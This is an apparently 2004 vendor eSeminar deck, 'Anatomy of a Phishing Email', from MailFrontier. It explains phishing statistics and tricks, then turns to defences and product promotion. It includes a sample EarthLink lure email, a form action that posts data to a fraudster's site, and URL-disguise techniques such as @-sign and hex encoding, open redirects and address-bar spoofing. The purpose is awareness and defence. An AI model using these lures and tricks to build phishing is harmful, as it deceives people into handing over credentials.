Anatomy of a Phishing Email

Wednesday, September 22, 2004
12:30 p.m. Eastern/9:30 a.m. Pacific
Welcome

Frank Derfler
VP, Market Experts Group
Ziff Davis Media
www.derfler.net
Question 1

Do you think that you could identify a Phishing Email that arrived in your inbox:

A. 100 % of the time.
B. > 90%, but less than 100% of the time.
C. < 90% of the time.
Question 2

If you work for a company, what percentage of your fellow employees could identity a Phishing email in their inbox 100% of the time?

A. All of them.
B. More than 90%, but not all.
C. Less than 90%
D. Not applicable.
Featured Speaker

Andrew Klien
Product Manager
MailFrontier
www.mailfrontier.com
Phishing Statistics

- A study with over 200,000 participants conducted by MailFrontier Research showed that over 31% incorrectly identified fraudulent email as legitimate and 19% incorrectly identified legitimate email as fraudulent.

- Mi2g, a company that sells products for electronic banking, estimates economic damage in 2003 from phishing scams to be between $32.2 billion and $39.4 billion.

- Anti-Phishing Working Group received 1197 unique phishing email attacks in May 2004, averaging 38.6 a day.

- From November 2003 to April 2004, phishing emails increased an average of 110% each month.

- An estimated 3.1 billion phishing email messages were sent worldwide in April 2004.
Emerging Threats: From Annoying to Dangerous

Phishing - The use of trust in a brand, company or person in an email to gain illicit access to personal and financial information or to obtain passwords and other access devices.
Phishing is NOT Spam

Build Credibility
- Spoof of a Real Company
- Spoofed Company Sender
- Links to the Company site

Create a Reason to Act
- Plausible Premise
- Generate Urgency
  - Raise Security Concerns
  - Expiring Account
- Require a Quick Response

Call to Action
- Click Here
Phishing Techniques

- Forms
- Links
- Web Sites
Technique 1: Email Forms
Phishing with Forms

“Action” Attribute

The email pictured appears to be from eBay, but actually sends the information to a fraudsters website.

For example:

```html
<Form action=http://www.christmas-offer.us/sendmail.php method=get target=_blank>
```
Technique 2: The Misguided Link

Link Tricks
- Stupid Link Tricks
- URL Hiding
- Misdirection

Dear EarthLink member:

It has come to our attention that your EarthLink Billing account requires an update of your billing information. Please update your online experience and update your billing records. You'll still have access to our online services.

However, failure to update your records will result in your suspension. Once you have updated your account records, you'll be able to resume paying via our processors.

Please click here [http://earthlink-reactivation.net](http://earthlink-reactivation.net) to update your account:

Thank you for your time.

EarthLink Billing Dept team.

http://earthlink-reactivation.net/
Stupid Link Tricks

- **Credible IP string**
  - Uses a credible sounding text string within the URL

- **The @ sign**
  - Everything to the left is forgotten, everything to the right is used
  - http://www.usbank.com/update.pl@81.109.43.102/usb/upd.pl

- **Long status line**
  - The URL is so long is can not be completely displayed in the status bar
  - Often combined with the @ so that the fraudulent URL is at the end and not displayed
  - http://www.usbank.com/update?cust=90119323... 100 characters later ... status=1@www.usbank-verify.us/update

- **Similar names**
  - Uses a credible sounding, but fraudulent, domain name
  - http://www.ebay-secure.com/verify
Example: Similar Names

The Click Here link in this fraudulent PayPal email takes the user to:

http://www.paypal-supports.com
Links Tricks – URL Hiding

- **URL Encoding**
  - Encodes the URL or portions of the URL to disguise its true value using hex, dword, or octal encoding.
  - Often combined with the @ which can also be disguised as well.
  - `http://www.visa.com%@%32%32%30%2E%36%38%2E%32%31%34%2E%32%31%33`, which translates into 220.68.214.213.

- **Image Maps**
  - The URL is actually a part of an image, which uses map coordinates to define the click area and the real URL, with the Fake URL from the `<A>` tag being displayed.

- **URL as a button**
  - The displayed URL is contained in the text description of a Form Button.
  - The Button itself is formatted to match the email background so that only the Button text shows.
  - Since it’s a Form statement the Fake URL does not display in the status bar of the email client.

- **onMouseOver**
  - Places a Fake URL in the onMouseOver message.
Example: onMouseOver

Shows a false URL in the status bar of the user’s email application

```
https://www.paypal.com/cgi-bin/webscr?cmd=_login-run</A>
```
Misdirection ➔ Link Tricks

- **The Simple Redirect**
  - Uses the redirection capability of a known provider to send the user to the Phishing site.
  - Redirection is used by many larger sites like Yahoo, MSN, & Citibank.
  - [http://r.aol.com/cgi/redir?http://www.ebay_secure.info/update_user](http://r.aol.com/cgi/redir?http://www.ebay_secure.info/update_user)

- **The Double Redirect**
  - Combines the simple redirect method with a URL Masking service such as cjb.net or tinyurl.com
  - The Masking service assigns the user an alias for their URL.
  - [http://r.aol.com/cgi/redir?http://jne9rrfj4.CjB.neT/?uudzQYRgY1GNEn](http://r.aol.com/cgi/redir?http://jne9rrfj4.CjB.neT/?uudzQYRgY1GNEn)
    - First sends to: [http://r.aol.com/cgi/](http://r.aol.com/cgi/)
    - Redirected to: [http://jne9rrfj4.CjB.neT/?uudzQYRgY1GNEn](http://jne9rrfj4.CjB.neT/?uudzQYRgY1GNEn) (cjb.net)
    - Redirected to: Intended site through cjb.net redirection service
    - *The actual URL is stored at cjb.net and is accessed through the cjb.net alias.*
Technique 3: Web Site Tricks

- **Fake https**
  - Uses fake https:// address along with security and certificate pop-ups to appear as though the site has been issued an SSL Certificate.

- **Pop-ups**
  - The fraudulent site appears in a pop-up window usually over the real site’s homepage.

- **Address Bar - The Floating URL**
  - Replaces the white portion of the Address Bar on the fraudulent page with a “real” URL.

- **Address Bar – Replace the Entire Bar**
  - Replaces the entire Address Bar of the fraudulent web-page with a “real” URL.
Example: Using Pop-Ups

Fraudulent pop-ups over real sites
Example: Address Bar Tricks

Floating Bar:
- JavaScript opens a second browser window which is a small white window with a fake URL in it.
- This new browser window is placed over the real address bar.

Replacement Bar:
- JavaScript closes the address bar and uses a table in the Web page to show a fake address bar in the first row and the rest of the fraudulent Web page in the second row.
How to Stop Phishing

- **Preemptive**
  - Advisories, Alerts, Education
  - DHA Protection – stop it before it start

- **Attack Based**
  - Authentication
  - URL Exploit Detection
  - Analytical Techniques
  - Community

- **Staying Ahead**
  - Forensic Analysis
  - Find New Techniques
MailFrontier is an email security company that protects organizations from spam, virus, phishing, fraud and the growing number of other costly email threats.

MailFrontier products are effective, easy and a step ahead.
Award Winning Products

-MailFrontier Desktop 4.0 provides the best anti-spam and anti-phishing solution for Outlook and Outlook Express.“ -- Neil Rubenking, PC Magazine Editors’ Choice - August 17, 2004

-MailFrontier’s ASG put up some impressive results in terms of blocking spam and letting legitimate mail pass.” -- Joel Snyder, NetworkWorld Top-Rated Enterprise Anti- Spam Software - Sept 15, 2003

-MailFrontier takes a bite out of junk e-mail with ASG 2.0, which is worth evaluation by organizations that want to keep spam management in-house. MailFrontier ASG 2.0 includes much-needed per-user controls.” -- Cameron Sturdevant, MailFrontier ASG 2.0 Review - May 19, 2003

-Rosenberg turned to MailFrontier ...and its technology is keeping false positives to a minimum.” -- Tony Kontzer

-MailFrontier's hands-off approach can help ease the administration burden on IT departments. The mail- filtering engine uses dynamic, self-learning and self-running technology, which allows network administrators to "set it and forget it." The solution scales easily for enterprises of more than 100,000 employees.” Frank Ohlhorst, Technology editor
Over 700 Enterprise Customers

- CHIRON
- Wyndham Hotels & Resorts
- Morningstar.com
- SBC
- YMCA
- NBC
- SAP
- Acorda
- AmericaOnline
- SanDisk
- Pier1 Imports
- TiVo
- MailFrontier

Pharmaceutical
Manufacturing
Hospitality
Financial
Telecommunications
Service
Broadcast
Software
Insurance
Energy
Technology
Retail
Entertainment
Go to www.mailfrontier.com

- **Learn** more about the best methodology to stop phishing
- **See** a demonstration of the best way to stop phishing
- **Take** the phishing test and see how much you know
- **Download** a free trial
- **Get** the latest version of this presentation
- **Contact** MailFrontier for more information
Thank you for attending today’s eSeminar

MailFrontier

Email is good again.
Attendee Services

- Download a copy of today’s presentation
- Please give your feedback by completing our optional survey
- View our calendar of upcoming events
- A recorded version of this seminar will be available at: www.eSeminarslive.com

Look for more information on MailFrontier’s next eSeminar, scheduled for October 13th.